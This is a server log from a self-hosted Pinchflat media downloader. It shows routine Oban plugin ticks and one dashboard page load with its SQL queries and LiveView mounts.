{"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.791 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:17.165 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:47.166 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.792 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:17.167 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:47.168 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.793 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:17.169 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:47.170 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.794 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:17.171 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:47.172 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.795 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:17.174 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:47.175 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.796 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:17.176 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:47.177 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.797 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:17.179 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:47.180 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.798 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:17.181 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:47.182 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.799 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:17.183 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:47.185 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.800 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:17.186 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:47.187 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.801 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:17.188 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:47.190 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.802 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:17.191 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:47.192 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.803 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:17.193 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:47.195 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.804 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:17.196 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:47.197 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.805 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:17.199 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:47.200 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.806 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:17.166 [info] GET / 23:42:17.166 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:42:17.167 [debug] QUERY OK source="settings" db=0.3ms idle=780.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:42:17.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=780.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:42:17.167 [debug] QUERY OK source="sources" db=0.0ms idle=781.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:42:17.178 [debug] QUERY OK source="media_items" db=10.1ms idle=781.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:42:17.178 [debug] QUERY OK source="media_items" db=0.4ms idle=429.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:42:17.179 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:42:17.179 [debug] QUERY OK source="settings" db=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:42:17.179 [debug] QUERY OK source="settings" db=0.0ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:42:17.180 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:42:17.180 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:42:17.181 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:42:17.181 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 23:42:17.186 [debug] QUERY OK source="media_items" db=3.1ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:42:17.187 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:42:17.187 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 23:42:17.189 [info] Sent 200 in 22ms 23:42:17.200 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:17.819 [info] CONNECTED TO Phoenix.LiveView.Socket in 29µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "K1IbBzw5JSB9GCQAYXNQVxsAKG8SY0NFY5jpMHoP2nIO21i567f5g4t6", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.8layer8.com/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.8layer8.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:42:17.862 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "rgqwqqJpOvmOSB9b-7NZuW7s", "media_state" => "downloaded"} 23:42:17.863 [debug] QUERY OK source="media_items" db=0.3ms idle=676.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:42:17.864 [debug] QUERY OK source="media_items" db=0.4ms idle=676.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:42:17.864 [debug] QUERY OK source="sources" db=0.1ms idle=676.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 23:42:17.864 [debug] Replied in 1ms 23:42:17.866 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "rgqwqqJpOvmOSB9b-7NZuW7s", "media_state" => "pending"} 23:42:17.870 [debug] QUERY OK source="media_items" db=3.2ms idle=666.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:42:17.870 [debug] QUERY OK source="media_items" db=0.5ms idle=120.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:42:17.871 [debug] QUERY OK source="sources" db=0.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 23:42:17.871 [debug] Replied in 4ms 23:42:17.873 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "rgqwqqJpOvmOSB9b-7NZuW7s"} 23:42:17.873 [debug] QUERY OK source="tasks" db=0.1ms idle=9.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:42:17.873 [debug] Replied in 512µs 23:42:17.874 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "rgqwqqJpOvmOSB9b-7NZuW7s"} 23:42:17.874 [debug] Replied in 90µs 23:42:47.202 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.807 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:17.203 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:47.204 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.808 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:17.205 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:47.206 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.809 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:17.207 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:47.209 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.811 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:17.210 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:47.211 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.811 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:17.212 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:47.214 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.812 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:17.215 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:47.216 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.813 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:17.218 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:47.219 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.814 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:17.220 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:47.222 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.815 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:17.223 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:47.224 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.818 [info] {"source":"oban","duration":2115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:17.225 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:47.226 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.819 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:17.227 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:47.229 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.820 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:17.230 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:47.231 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.821 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:17.232 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:47.233 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.822 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:17.234 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:47.235 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.823 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:17.236 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:47.238 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.824 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:17.239 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:47.240 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.825 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:17.241 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:47.242 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.826 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:17.243 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:47.244 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.827 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:17.245 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:47.246 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.828 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:17.248 [info] 